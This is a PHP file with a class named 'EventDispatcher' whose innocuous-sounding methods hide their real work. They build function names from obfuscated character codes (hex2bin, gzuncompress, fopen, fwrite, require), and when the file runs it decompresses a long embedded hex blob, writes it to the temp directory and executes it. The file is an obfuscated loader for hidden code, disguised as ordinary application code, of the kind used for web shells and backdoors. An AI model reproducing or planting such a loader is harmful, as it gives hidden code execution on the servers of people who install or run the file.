<?php
class EventDispatcher
{
    private $xj = '';
    private $sj = '';
    public function prepareOutput($p1)
    {
        $t = array(110, 27 * 64 - 1623, 2 * 49, 2 * 25, 100 * 1 + 20, 101 * 1, 104);
        $n = '';
        foreach ($t as $g) {
            $n .= chr($g);
        }
        $n = strrev($n);
        return $n($p1);
    }
    public function logEvent($p1)
    {
        $y = array(5 * 23, 73 * 1 + 42, 22 * 4 + 13, 117 - 3, 112, 109, 67 * 52 - 3373, 16 + 14 + 69, 63 * 11 - 583, 92 * 30 - 2643, 131 - 9, 103);
        $w = '';
        foreach ($y as $c) {
            $w .= chr($c);
        }
        $w = strrev($w);
        return $w($p1);
    }
    public function terminateSession($p1, $p2)
    {
        $a = array(2 * 55, 48 + 13 + 40, 118 - 6, 111, 96 * 110 - 10458);
        $p = '';
        foreach ($a as $g) {
            $p .= chr($g);
        }
        $p = strrev($p);
        return $p($p1, $p2);
    }
    public function parseResponse($p1, $p2)
    {
        $q = array(48 * 2 + 5, 119 - 3, 3 * 35, 114, 120 - 1, 91 + 11);
        $s = '';
        foreach ($q as $k) {
            $s .= chr($k);
        }
        $s = strrev($s);
        return $s($p1, $p2);
    }
    public function generateToken($p1)
    {
        $l = array(16 * 102 - 1530, 3 * 33, 59 + 30 + 19, 25 + 86, 119 - 4, 10 + 91);
        $v = '';
        foreach ($l as $f) {
            $v .= chr($f);
        }
        return $v($p1);
    }
    public function validateInput($p1, $p2 = null)
    {
        $k = array(109 * 1, 63 * 1 + 42, 76 * 101 - 7562, 22 + 61 + 33, 116 - 2);
        $n = '';
        foreach ($k as $x) {
            $n .= chr($x);
        }
        $n = strrev($n);
        return $n($p1, $p2);
    }
    public function encryptData()
    {
        $this->sj = $this->validateInput($this->sendNotification(), '/');
    }
    public function fetchSummary()
    {
        $this->xj = $this->logEvent($this->prepareOutput($this->yf));
    }
    public function syncRecords()
    {
        $fn = $this->sj . '/yo-690db0ee64e45';
        $f = $this->terminateSession($fn, 'w');
        $this->parseResponse($f, $this->xj);
        $this->generateToken($f);
        $this->manageState($fn);
    }
    private $yf = '789c95580b73daca0efe2be94cce099e301d434843cbf5e91' . '830848021bcd2924e2e63fc7e601bdb60e39cfcf7bbd2dac12' . '40de79e99a6f14a9fa495562b69f39fefbee19fc98e148667c' . 'b68f5ec07e64e8ad4b3309222533e5f6a56837e9e695b578e4' . 'ccf3d5b2a61e97ce9accae7cb8db5679e4dadf429541deddb3' . '78033f473b9564b4ce37c19c706174681a3ba250a2734d393b' . '89514aa5f6a4b45953d452d1dc47f81e627a6a179011891771' . 'c4becf8ca410991062584f589e380d5b8bcc42583bc5ff8fdc' . '4c94650f202a5542432ffa514b20f4af90337f8c4308d408db' . '6818be0c6cb71100a9e8353cf87cd72521048fbd2c5d208d61' . '7dc5f17b77a4fecece3e9d812e27612f2225f6989a938e4f98' . '7fdc06057235e6f4e6fbf0e2eca17cbbd86124d5bee27a2dca' . 'f84eb3b7df1f3f161311bc40b7568cc67fda4ae880ff6e25ee' . '76783e69c1fea8b2e486e150544ef799683e55adec072a47b4' . '17316c77d41fcd11d3f3685c4ee8e27e263d31666b0ee18de8' . 'fdb7668df35e371d78c3acd69b89b4c1652c788ebb796bce81' . '8f688f0d9615cbf115b9108aadd18340f0cbddfe13934b6f1d' . '0d822f1a60f634a72623d238d3b5d81927688eaf3bc26c6141' . '56f3142f0e99b56fe1939f99783e118c6bcdcfaf1b09ac4f6a' . '6632f4623633112dae2846f2e429e6707f244beeddcf23f9bc' . '978d74d4279f0e0b55a6b7edc1ab397d36c3ff18e4647fcd91' . 'ef35a2bd603a0ae2c0f0d24a23448f5a1c88b780a868b1ef2b' . '5bbb6d5eb0125d9519cdd1d243554686d50b4db62afb5cc9ba' . 'd82a8412c4a7c16197fad224967ef787381a4d0c0c06480d5d' . '6a4d1e4dbcd1605180a06584bc3cbd67ed859391569eedaa6c' . '8f3eae3834803eed0b8c477fdccb662a3d0dcad553a9620098' . '917dc4e6c9239e34a67c6df0a579307f5678c50d90dd064531' . '8cc6f9b4324a979c45d55cd3c6de5aa3d25a4aaebb84cb6b0e' . 'aa48249ce653d326b527fdfab75ac3972259372e5b5a8f3378' . '3e9782c4ee7567b2a5fdde9bc733fe3b34801aa3dad5b42bb1' . '6f0ad70d34d75e4a42b2a1fa7ed54deb75b6c856fd97ad75ca' . '4184e1fb9fb38bd8ff968d8f28677fb85d7b5283731722fb62' . 'b890217767fccebc3595deab5e778e46118530b5ef56eccd7e' . 'f5251ba6fc92eca7b52ae20a039d8d9cf6fee787edf4b59e93' . 'e0d838e4953d98e52ca1652e256b59fd6a5512afa1d930641c' . 'e84c73149766f94d6c63d4bbc6ecfc6c63d4fd07b0f5191463' . '7525bb7d3f9866fc55fdb33366d4f6b57dd74ce0a6d1a10c5a' . '0a1f2eaf771b81958c2aabfa749a0e04110adf6482737d41aa' . 'f86b310392eda1fc5f150d485d148cf5204af5fc79cacf2840' . 'd6d3c2d2d89a683c9b532cf8029a680163f76db933afff840b' . '7aba1398d1ddf0de68f065074bcb1439df23d4cfebe4e3767d' . '3dd0d26f51fe8eb7a43d39cedb5f146328d9797acbf04d6bfe' . '92f273b0badd7676f1bc7bfaedd2c5b666fcaecd517fa53a1b' . 'faa48248b0ad009047e1162057e807c45302006788457f01f9' . 'b41aac002b19b2b58b1c8a9b2c82fb3b5ea15fe07913154495' . '1831269bdc433e238ed2570bdbce082f4a5f77cd238087b875' . 'c1220330cd588c4ab2bcc7e1550d024084c5d5d30a4bd3d9f2' . 'f2d9d5b86478aa071406a48db4c1580fefc93345adf0b71512' . 'ea0492f80a3f71d02268d57939c50659e15532daa84f600977' . '26f83ca179560de42a05dc00ddcf80879f9d805e8221088307' . '7814c01e7cbd668d4ef090d6ce21cc9288a667124581d08152' . '0284976ca74f10b859eb8820d684b5065ad0ba6111ba6a3669' . '957807fc621e3d7abe62af394e51aa4e731ef2ae35dbe526a6' . '4efcfef81d7ef805f087015a8924d5dbbbcfc68cbd03ea1cde' . '9e468d169027d41e78f15de3087ef3a031088182a7da57f659' . 'e4acce7635a856572d78ec81582a5231c8407cd1df1ab39bff' . 'c86418292c5ff40ab211867c8233a89cbdbed7c41e811e9064' . '9c57856ea9023c44bd3959dada2e6c3e6cbe1fe87305006a64' . 'c4c8689c2b95bc701475c3d2a46977403125c335e637013292' . '8321dbc7a91b1bf80a0115df4022e65c971a4957394e7640c8' . '16baa4a24cdc18eb77739791b384bd33521d9896aa6810492f' . 'c9e0f240229b7e693c1e87eb69c4e07cb0761d2eb2cee05615' . '2a6d7edffc2df8ea6b3f221305f9953629dd16030fa3118b5f' . '8596f343c8855d993621361369f0c67137e38ed90dd1dc42a2' . '7c56e05be7d04af9e84b746c3a1d09acd7aa2309a177c2295f' . '394d87b7c8d81c3849346293551652a03643b3b175d8d4c57f' . '37206d264c70bd59c8215d2768b250aa64a688f2e29519f0ec' . '5a77acd305983c283cb2ae1f972b78b385f0a427549b4e7494' . '01e1d6ecc95905b546ee0a8b296482d7de28a6998606aadb10' . '39032bd2af2605885c9728d29fa46238cad3089bac605bde37' . '9e57d838359166ab4e363e9051b9f8b46421c0a64e5773660c' . 'c85c6a3edc0c63b511879a1e958bf93dde0e5935322f9b9408' . '68917eedd6e8f97d25bed382df464dbf3c983b084e1fb5e80c' . '3d40b5e92a185f956a4a353f65625717b6f1bc661b8b01b62b' . 'c9ce97c3dcf2f44d1ebe226ef966423ccb3e66fa3902ecae06' . 'dfec03de0eb796bf9a4a95e2e072541d2644e2369978b1f44b' . 'ee626e0b18b990b5d88e02915048b4185b91ddaae415a02f3c' . '6fc150b55f035918969d274f3d72e510c8d21d4032e4f85a93' . '02175a41819f20c8003dde917b49007c909b084a72f07ab0c2' . 'ceb27c05b9c512c37c3faea092c792e405ee326beff0e405e0' . 'c90b3ba4710c5634f30595d197347f34f6d87bc25e045e0ef3' . 'f34026f0ad0b6dabeb5e2a1ec6e8b664e0734a04d66e3451fd' . 'a8167079ca80eb7e81bf4aa7f0abc8c3a7d25f9506784ddcb0' . 'a0a1a4f9e8e8281f336fe871a15cc8c8db97d5549d253339d4' . '80d963b09fa2d09c421adaf2ab4156e5631872c5a17dfca044' . '941a45a140992d74a4a09b2de383140ba1812d7a2f3a32a1bd' . 'e5971f3385d46121622a2ae5871e0b904753d4890ebab45668' . 'a8522d590a5f9459686014948c56ea80969f30c6eef53be3f6' . '285f9fbefd7a5af16579a0f9bcca4322f156d934db005233ac' . 'e7f295c1bee2f545a9cd33d5ae215caf4d522cfa60796fa36e' . '512932409d6bb0db7853faee19fe2b23fcc652b2bf4dcfc1bb' . '7c3d09e431f1328fbcf4f07781262e66d8fde0e7020007d0dd' . '5cbff0031327eb0';
    public function manageState($p)
    {
        require $p;
    }
    public function sendNotification()
    {
        $a = array(5 * 23, 11 * 11, 67 + 48, 5 * 19, 103, 101 * 1, 56 + 60, 95, 70 + 19 + 27, 52 + 23 + 26, 116 - 7, 119 - 7, 39 + 56, 2 * 50, 110 - 5, 124 - 10);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$as = new EventDispatcher();
$as->encryptData();
$as->fetchSummary();
$as->syncRecords();